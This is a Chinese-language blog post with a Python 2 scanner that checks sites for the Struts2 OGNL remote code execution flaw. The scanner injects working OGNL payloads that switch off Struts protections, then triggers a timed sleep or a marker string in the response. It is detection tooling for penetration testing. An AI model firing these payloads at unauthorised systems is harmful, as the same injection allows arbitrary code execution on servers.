Struts2遠端程式碼執行漏洞檢測的原理和程式碼級實現
想必最近很火的Struts2漏洞大家應該有所耳聞吧,如果你沒聽說也沒關係,關於這個漏洞的描述可以用一句話總結:漏洞很普遍,後果很嚴重。由於JavaEE的應用普遍偏向於使用SSH框架(Spring+Struts+Hibernate)開發,而且存在漏洞的Struts <= 2.2版本被大量使用,所以其影響可想而知。
所有主流的Java中介軟體伺服器都可能受到該漏洞的影響,特別是大家喜歡的Tomcat,問題尤為嚴重,倒不是因為Tomcat上Struts漏洞更多,而主要是大家習慣了在管理員使用者桌面或root使用者的終端中使用startup.bat或startup.sh啟動Tomcat,這樣的後果就是,你的Tomcat程式具有相當高的許可權,高到足夠讓黑客對你的伺服器做任何事情(筆者在滲透測試工作中曾遇到過使用域管理員身份啟動的Tomcat,汗...)。
本文只介紹Struts2漏洞的檢測原理和實現,關於該漏洞的更多資訊大家可以Google,如果感興趣的話也可以留言或微博聯絡@evan-css,我會在後續的文章中和大家一起對該漏洞進行更加深入的分析,包括修補的辦法。廢話少說,直接上程式碼吧,該說的都在程式碼中註釋了,此程式碼在Windows版的Python 2.7環境中測試通過。
使用方法:
python struts_scan.py http://target.url
原始碼:
#-*-coding:utf-8-*-
import os,sys
import httplib
import string
import time
import urlparse
"""
Struts2漏洞測試程式,By @EVAN-CSS 20120820
歡迎加關注@EVAN-CSS共同探討網路安全話題
"""
"""
用於傳送HTTP請求的函式,我在這裡實現了Get和Post兩種請求方式,實現了返回響應時間的功能以便漏洞測試使用
"""
def SendHTTPRequest(strMethod,strScheme,strHost,strURL,strParam):
headers = {
"Accept": "image/gif, */*",
"Referer": strScheme + "://" + strHost, #將Referer修改成為其自身的URL,有助於繞過一些過濾機制
"Accept-Language": "zh-cn",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
"Host": strHost,
"Connection": "Keep-Alive",
"Cache-Control": "no-cache"
}
strRet=""
time_inter=0
try:
time1=0 #使用兩個time變數獲取請求的執行時間,Python應該有更好的實現辦法,可惜我對Python只懂皮毛,先這樣吧
time2=0
time1=time.time() * 1000
if strScheme.upper()=="HTTPS": #URLLib中,對於HTTP和HTTPS的連線要求是不同的
con2 = httplib.HTTPSConnection(strHost)
else:
con2 = httplib.HTTPConnection(strHost)
if strMethod.upper()=="POST":
con2.request(method="POST",url= strURL, body=strParam, headers=headers)
else:
con2.request(method="GET",url= strURL, headers=headers)
r2 = con2.getresponse()
strRet= r2.read().strip()
time2=time.time() * 1000
time_inter=time2-time1 #得到請求的響應時間
con2.close
except BaseException,e:
print e
con2.close
return (time_inter,strRet)
"""
第1種測試方法,使用響應時間來判定
請注意payload中最後一句,如果執行成功的話會讓執行緒睡眠8000毫秒
向同一URL傳送兩次請求(1次不帶Payload,1次帶上Payload),通過響應時間的差異判定是否存在漏洞。
由於很難確保每次請求的基準響應時間一致,因此使用6000(毫秒)作為判定是否存在漏洞的閾值
"""
def RunTest1(strScheme,strHost,strURL):
payload1="""('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))"""
(inter1,html1)=SendHTTPRequest("GET",strScheme,strHost,strURL,"") #沒有Payload的請求
(inter2,html2)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1) #帶有Payload的請求
if (inter2 - inter1)>6000:
return True
else:
return False
"""
第2種測試方法,使用響應內容判定
這種方法很準確,很高效(無需等待伺服器端睡眠),但有可能會有漏報的情況出現,如伺服器不支援該命令或做了一些過濾的情況
請注意Payload中getWriter().print("struts-security"),如果伺服器存在漏洞,會執行該注入的命令,在響應中會包含struts-security字樣
"""
def RunTest2(strScheme,strHost,strURL):
payload1="""('\\43_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(d))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(asdf)(('\\43rp\\75@org.apache.struts2.ServletActionContext@getResponse()')(c))&(fgd)(('\\43rp.getWriter().print("struts2-security")')(d))&(fgd)&(grgr)(('\\43rp.getWriter().close()')(d))=1"""
(inter1,html1)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1)
if html1.find("struts2-security")>=0:
return True
else:
return False
"""
執行測試,為了提高效率,先執行第2種方法,如果第2種判定無漏洞,再使用第1種方法進行驗證
"""
def RunTests(strURL):
t_url=urlparse.urlparse(strURL)
strScheme=t_url.scheme
strHost = t_url.netloc
strURL1 = t_url.path
print "Checking " + strURL
if RunTest2(strScheme,strHost,strURL1):
print "Vulnerable!"
return True
elif RunTest1(strScheme,strHost,strURL1):
print "Vulnerable!"
return True
else:
print "Secure."
return False
if __name__ == "__main__":
if len(sys.argv)!=2:
print "INVALID ARGUMENTS."
exit()
m_URL=sys.argv[1]
RunTests(m_URL)
相關文章
- Struts2遠端程式碼執行漏洞預警
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- ThinkPHP遠端程式碼執行漏洞PHP
- phpunit 遠端程式碼執行漏洞PHP
- 網站漏洞檢測 squid反向代理存在遠端程式碼執行漏洞網站UI
- Joomla遠端程式碼執行漏洞分析OOM
- OpenWRT 曝遠端程式碼執行漏洞
- 什麼是遠端程式碼執行漏洞?
- ThinkPHP 5.0.23 遠端程式碼執行漏洞PHP
- 最新漏洞:Spring Framework遠端程式碼執行漏洞SpringFramework
- Apache Struts2遠端程式碼執行漏洞(S2-001)復現總結Apache
- Discuz! X系列遠端程式碼執行漏洞分析
- .NET Remoting 遠端程式碼執行漏洞探究REM
- crash_for_windows_pkg遠端程式碼執行漏洞Windows
- WindowsJScript元件曝遠端程式碼執行漏洞WindowsJS元件
- PHP CGI Windows下遠端程式碼執行漏洞PHPWindows
- log4j遠端程式碼執行漏洞
- Apache Struts 再曝高危遠端程式碼執行漏洞Apache
- Apache log4j2 遠端程式碼執行漏洞復現?Apache
- Windows MSHTML遠端程式碼執行漏洞風險通告更新,騰訊安全支援全面檢測攔截WindowsHTML
- Steam客戶端發現遠端程式碼執行漏洞:已放補丁客戶端
- Log4j遠端程式碼執行漏洞漫談
- 【核彈級漏洞】關於Apache Log4j 2遠端程式碼執行漏洞風險提示Apache
- Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦Windows
- [漏洞預警]Laravel <= 8.4.2 Debug模式 _ignition 遠端程式碼執行漏洞Laravel模式
- WordPress 3.5.1遠端程式碼執行EXP
- 關於fastjson出現反序列化遠端程式碼執行漏洞的通知ASTJSON
- OGNL設計及使用不當造成的遠端程式碼執行漏洞
- Apache存在Log4j2遠端程式碼執行漏洞 騰訊安全助力企業檢測攔截Apache
- 【安全公告】PHP多個遠端程式碼執行漏洞風險預警PHP
- Apache Solr應用伺服器存在遠端程式碼執行漏洞?ApacheSolr伺服器
- BlueBorne遠端程式碼執行漏洞Poc實戰(CVE-2017-0781)
- 高危!Fastjson反序列化遠端程式碼執行漏洞風險通告,請儘快升級ASTJSON
- 新的PHP高危漏洞可導致黑客執行遠端程式碼攻擊PHP黑客
- Struts2方法呼叫遠端程式碼執行漏洞(CVE-2016-3081)分析
- 國家漏洞庫CNNVD:關於微信Windows客戶端遠端程式碼執行漏洞的預警CNNWindows客戶端
- CVE-2017-7269 IIS6.0遠端程式碼執行漏洞復現
- 嚴重 PHP 漏洞導致伺服器遭受遠端程式碼執行PHP伺服器